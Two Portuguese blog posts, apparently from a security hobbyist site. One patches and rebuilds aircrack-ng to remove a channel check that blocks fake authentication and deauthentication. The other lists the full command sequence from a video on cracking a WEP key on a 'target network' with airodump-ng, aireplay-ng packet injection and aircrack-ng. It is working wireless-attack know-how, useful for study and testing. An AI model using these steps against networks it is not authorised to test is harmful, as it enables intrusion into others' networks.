Aircrack-ng: mon0 is on channel -1, but the AP uses channel X

Dependendo do driver usado, o seguinte erro pode ocorrer:

airodump-ng: Fixed channel to -1 = fixed channel mon0: -1 
aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel XXX

Pesquisando na web, maioria dos sites indicam recompilar o kernel com um patch para resolver o problema.

Mas não e necessário recompilar o kernel!

Você sim vai precisar recompilar o pacote aircrack-ng, mas se utiliza Debian ou Ubuntu, a tarefa e bem simples.

(Solucao baseada no patch descrito em: http://trac.aircrack-ng.org/ticket/742).

Crie um diretório temporario e baixe o fonte do aircrack-ng:

mkdir tmp
cd tmp
apt-get source aircrack-ng

Edite o arquivo src/aireplay-ng.c:

cd aircrack-ng-1.1
cd src
nano aireplay-ng.c

Remova o seguinte código (por volta da linha 726):

        if(ap_chan != iface_chan)
        {
            PCT; printf("%s is on channel %d, but the AP uses channel %dn", wi_get_ifname(wi), iface_chan, ap_chan);
            return -1;
        }

Salve o arquivo.

Va para o diretorio onde foi extraido o codigo fonte (aircrack-ng-1.1):

cd ..

Recompile o .deb:

dpkg-buildpackage

Se tudo deu certo, voce vera a mensagem:

dpkg-deb: building package `aircrack-ng' in `../aircrack-ng_1.1-1.1_amd64.deb'.
 dpkg-genchanges  >../aircrack-ng_1.1-1.1_amd64.changes
dpkg-genchanges: not including original source code in upload
 dpkg-source --after-build aircrack-ng-1.1
dpkg-buildpackage: binary and diff upload (original source NOT included)

Basta instalar o novo pacote com o comando:

dpkg -i ../aircrack-ng_1.1-1.1_amd64.deb

Quebrando chave WEP com Aircrack-ng e Ubuntu 10.4 [video]

Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits).

Comandos:
0:42 apt-get install aircrack-ng
1:06 iwconfig
1:22 airmon-ng start wlan0
1:30 ifconfig
1:35 ifconfig mon0
1:43 airodump-ng mon0
2:05 airodump-ng –channel 6 –bssid XX:XX:XX:XX:XX:XX -w wep1 mon0
2:33 sudo su
2:43 ifconfig wlan0
2:50 aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
3:17 aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
4:04 sudo su
4:13 aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
4:26 ls -lah wep1-01.cap
4:35 aircrack-ng -b XX:XX:XX:XX:XX:XX wep1-01.cap

XX:XX:XX:XX:XX:XX = BSSID da rede alvo (obtido pelo airodump-ng)
YYYY = nome da rede alvo (obtido pelo airodump-ng)
ZZ:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ = MAC address da interface de rede que usamos para injetar os pacotes (nesse caso: wlan0)

UPDATE (23/10/2011):

aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel X

Se voce estiver tendo problema com “channel -1”, de uma olhada nesse tutorial:

http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/